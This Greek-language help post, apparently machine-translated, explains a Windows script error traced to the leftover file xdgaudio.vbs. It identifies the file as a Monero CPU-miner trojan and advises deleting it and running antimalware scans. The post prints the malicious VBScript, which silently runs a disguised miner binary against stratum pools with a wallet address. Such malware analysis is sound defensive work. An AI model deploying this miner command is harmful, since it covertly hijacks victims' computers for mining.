Εάν λαμβάνετε το ακόλουθο μήνυμα λάθους που σχετίζεται με το "xdgaudio.vbs" στο σύστημά σας, τότε ο υπολογιστής σας είναι πολύ πιθανό να έχει μολυνθεί.
Σενάριο: C:\windows\xdgaudio.vbs
Γραμμή: 3
Χαρακτήρας: 1
Σφάλμα: Το σύστημα δεν μπορεί να βρει το καθορισμένο αρχείο.
Κωδικός: 80070002
Πηγή: (null)
Κατά την επεξεργασία με το Σημειωματάριο, το σενάριο μπορεί να περιέχει γραμμές όπως παρακάτω:
Dim WShell. Ορίστε WShell = CreateObject("WScript. Κέλυφος") WShell. Εκτέλεση "wmipvrse.exe -B --donate-level 1 -r 100 --threads 16 --cpu-priority 2 --cpu-affinity 2 -a cryptonight -o stratum+tcp://xmr-eu.dwarfpool.com: 8005 -u 42Mn2UkbubgBDSa4sk4p4GHfN1nfxw2nURQ5NQWT9xYnFiLzTYGPawKEWeQ7oG4eqiHbmvt7wqJD4bSyBzQJ7rk75aVKgRv. Εφαρμογή -p x -k -o stratum+tcp://mine.moneropool.com: 3333 -u 42Mn2UkbubgBDSa4sk4p4GHfN1nfxw2nURQ5NQWT9xYnFiLzTYGPawKEWeQ7oG4eqiHbmvt7wqJD4bSgR7VQaz -p x", 0. Ρύθμιση WShell = Τίποτα
Αυτό σίγουρα μοιάζει με ένα trojan CPU/cryptocurrency Miner που όχι μόνο επιβραδύνει τον υπολογιστή σας, αλλά μπορεί επίσης να αποτελέσει απειλή για την ασφάλεια. Τα αρχεία του σεναρίου
c:\windows\xdgaudio.vbs και c:\windows\servicecrsssr.vbs πρέπει να διαγραφεί. Αυτό δεν είναι αρκετό. Εκτελέστε μια ενδελεχή σάρωση χρησιμοποιώντας το Malwarebytes antimalware και επίσης σαρώστε με το λογισμικό προστασίας από ιούς που χρησιμοποιείτε.Για λεπτομερείς οδηγίες σχετικά με την κατάργηση αυτού του Miner Trojan, ανατρέξτε στον οδηγό malwaretips.com Πώς να αφαιρέσετε το CPU Miner Trojan από τα Windows (Οδηγός βοήθειας για ιούς).
Ένα μικρό αίτημα: Αν σας άρεσε αυτή η ανάρτηση, κοινοποιήστε την;
Μια "μικροσκοπική" κοινοποίηση από εσάς θα βοηθούσε σοβαρά πολύ στην ανάπτυξη αυτού του ιστολογίου. Μερικές υπέροχες προτάσεις:- Καρφιτσώστε το!
- Μοιραστείτε το στο αγαπημένο σας blog + Facebook, Reddit
- Tweet το!